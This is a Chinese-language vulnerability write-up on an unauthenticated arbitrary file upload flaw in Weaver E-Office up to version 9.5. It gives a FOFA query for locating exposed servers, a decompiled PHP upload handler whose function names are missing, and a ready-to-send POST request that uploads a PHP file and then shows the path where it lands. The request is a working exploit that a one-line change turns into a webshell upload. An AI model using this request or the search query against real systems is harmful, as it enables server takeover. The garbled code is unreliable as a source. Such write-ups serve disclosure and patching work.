漏洞简介
泛微E-Office是一款标准化的协同 OA 办公软件,泛微协同办公产品系列成员之一,实行通用化产品设计,充分贴合企业管理需求,本着简洁易用、高效智能的原则,为企业快速打造移动化、无纸化、数字化的办公平台。泛微e-office webservice/upload.php、 webservice/upload/upload.php 、webservice-json/upload/upload.php 和 webservice-xml/upload/upload.php 接口存在任意文件上传漏洞,允许未经身份验证的攻击者上传恶意代码,植入后门,获取服务器权限,并控制整个 Web 服务器。
影响版本
e-office <=9.5
fofa语法
app="泛微-EOffice"
漏洞分析
由于四个文件的代码相同,这里以 webservice/upload/upload.php来看其业务逻辑
<?php
include_once( "inc/utility_all.php" );
$pathInfor = ( $_FILES['file']['tmp_name'] );
$extension = $pathInfor['extension'];
$role = UPLOADROLE;
$pos = $extension ? ( $role, ( $extension ) ) : false;
if ( !( $pos === false ) )
{
echo "false";
}
else
{
$attachmentID = ( $extension );
global $ATTACH_PATH;
$path = $ATTACH_PATH.$attachmentID;
if ( !( $path ) )
{
( $path, 448 );
}
$attachmentName = $_FILES['file']['tmp_name'];
$fileName = $path."/".$_FILES['file']['name'];
$fileName = ( "UTF-8", "GBK", $fileName );
( $_FILES['file']['tmp_name'], $fileName );
if ( !( $fileName ) )
{
echo "false";
}
else
{
echo $attachmentID."*".$_FILES['file']['name'];
}
}
?>
可以明显看到,直接进行文件操作,无任何过滤或校验,导致任意文件上传漏洞。
漏洞复现
POST /webservice/upload/upload.php HTTP/1.1
Host: eoffice.mrxn.net:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySIELKZKzD7vQmdsO
Content-Length: 248
------WebKitFormBoundarySIELKZKzD7vQmdsO
Content-Disposition: form-data; name="file"; filename="test.php"
<?=md5(123456);unlink(__FILE__);
------WebKitFormBoundarySIELKZKzD7vQmdsO--
访问上传文件 3601032174*test.php 由响应内容拼接最终路径 attachment/3601032174/test.php



